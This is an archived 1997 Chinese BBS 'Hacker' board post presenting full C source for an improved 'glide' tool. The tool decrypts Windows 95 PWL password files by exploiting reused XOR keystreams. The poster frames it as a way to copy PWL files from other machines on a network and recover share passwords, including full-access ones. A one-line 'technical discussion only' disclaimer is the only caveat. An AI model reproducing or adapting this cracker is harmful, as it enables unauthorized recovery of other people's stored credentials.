发信人: badle()
整理人: starseacn(2001-09-21 21:24:48), 站内信件
|
发信人: raner (lilo), 信区: Hacker
标 题: glide程序的改进
发信站: BBS 水木清华站 (Tue Aug 19 11:36:26 1997)
由Registration Database system.dat极易解出Shared Directory, 因此若Wi n95
目录被共享(不需口令)则解出其余需口令的目录Easy FM! 但若Win95目录没共享 呢?
Answer is: to use glide 将别的机器上的PWL文件拷回来,用glide解其资源, 很
有可能找到泥所需的password,甚至是Full Accesss Password(仅为技术讨论 :- ) )
但glide程序在反解资源指针时有点问题,以下程序为对其的改进。在
password未知情况下的反解并不能保证对(这种反解利用了M$的愚蠢的错误,将同
一 Xor串用于加密许多不同串), 但在大多情况下应没问题.
================ PWL.CPP 1997.8.16 =====================
// Compiled with BC 3.1
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <dir.h>
unsigned char Data[10001]; // pwl file buffer, 10K should enough!
unsigned char keystream[1001]; // xor key stream
int Rpoint[300]; // Resource pointers
int size,maxr,cracked;
void RecoverKeyStream()
{
int sizemask,i,rsz,pos;
int Rall[300];
int keylen,len;
/* find allocated recources */
sizemask=keystream[0]+(keystream[1]<<8);
for(i=0;i<256;i++) Rall[i]=0;
maxr=-1;
for(i=0x109;i<0x208;i++)
{
if(Data[i]!=0xff)
{
Rall[Data[i]]++;
if (Data[i]>maxr) maxr=Data[i];
}
}
if (maxr == -1) return; // no resource
maxr=(((maxr/16)+1)*16);
// recource pointer table size appears to be divisable by 16
/* search after recources */
keylen = 2 * maxr + 20 + 2;
Rpoint[0]=0x0208+keylen; /* first recource */
for(i=0;i<maxr;i++)
{
/* find size of current recource */
pos=Rpoint[i];
if (pos >= size)
{
printf("Decrypt pwl file error!\n");
maxr = i;
break;
}
rsz=Data[pos]+(Data[pos+1]<<8);
rsz^=sizemask;
pos+=rsz+2;
if(i<maxr-1)
{
while(pos < size)
{
len = (*(unsigned int*)(Data+pos)) ^ sizemask;
if (Rall[i+1] == 0 && len == 0)
break; // correct position
if (Rall[i+1] > 0 && len >= 2 && len <= keylen)
break; // may be correct position ?
pos+=2; // else, increase by 2
}
}
Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;
/* insert Table data into keystream */
for(i=0;i <= maxr;i++)
{
keystream[20+2*i]^=Rpoint[i] & 0x00ff;
keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff;
}
cracked+=maxr*2+2;
}
void DecryptResources()
{
int i,j,rsz;
/* decrypt resources */
for(i=0;i<maxr;i++)
{
rsz=Rpoint[i+1]-Rpoint[i];
if (rsz>cracked) rsz=cracked;
if (rsz > 2)
{
printf("Recource[%02d] (length: %02d)\n",i,rsz);
for(j=0;j<rsz;j++)
{
unsigned char c = Data[Rpoint[i]+j]^keystream[j];
printf("%c", c >= 0x20 && c <= 0x7e ? c : '.');
}
printf("\n");
}
}
}
int main (int argc,char *argv[])
{
struct ffblk ffblk;
int i,done,index = 0;
FILE *fd;
char *name,ch;
if (argc<2)
{
printf("Usage: Pwl pwlfile(s) (eg: *.pwl)");
return 1;
}
done = findfirst(argv[1],&ffblk,0);
while (!done)
{
name = ffblk.ff_name;
printf("\n-----------File %2d: %11s------------\n", ++index,na me);
/* read PWL file */
fd=fopen(name,"rb");
if (fd==NULL)
printf("can't open file %s",name);
else
{
size=0;
while(!feof(fd))
{
Data[size++]=fgetc(fd);
}
size--;
fclose(fd);
/* copy encrypted text into keystream */
cracked=size-0x0208;
if(cracked<0) cracked=0;
if(cracked>1000) cracked=1000;
memcpy(keystream,Data+0x208,cracked);
/* generate 20 bytes of keystream */
for(i=0;i<20;i++)
{
ch=toupper(name[i]);
if(ch==0) break;
if(ch=='.') break;
keystream[i]^=ch; // xor UserName
}
cracked=20;
RecoverKeyStream();
// recover key stream (54 bytes or more)
if (maxr == -1)
printf("No resource!\n");
else DecryptResources();
}
done = findnext(&ffblk);
}
return 0;
}
--
※ 来源:·BBS 水木清华站 bbs.net.tsinghua.edu.cn·[FROM: 166.111.5.15]
-- 飞天神舞──只有我喜欢!
广州网易主机http://badle.yeah.net
湖北襄樊主机http://badle.126.com
※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.101.155.44]
|
|